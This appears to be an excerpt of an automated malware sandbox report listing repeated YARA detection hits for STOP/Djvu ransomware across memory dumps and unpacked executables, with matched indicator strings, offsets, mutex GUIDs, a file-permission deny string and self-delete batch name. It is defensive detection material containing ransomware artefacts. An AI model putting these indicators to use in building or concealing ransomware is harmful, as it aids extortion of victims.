Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 1152	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 1152	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x418d8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
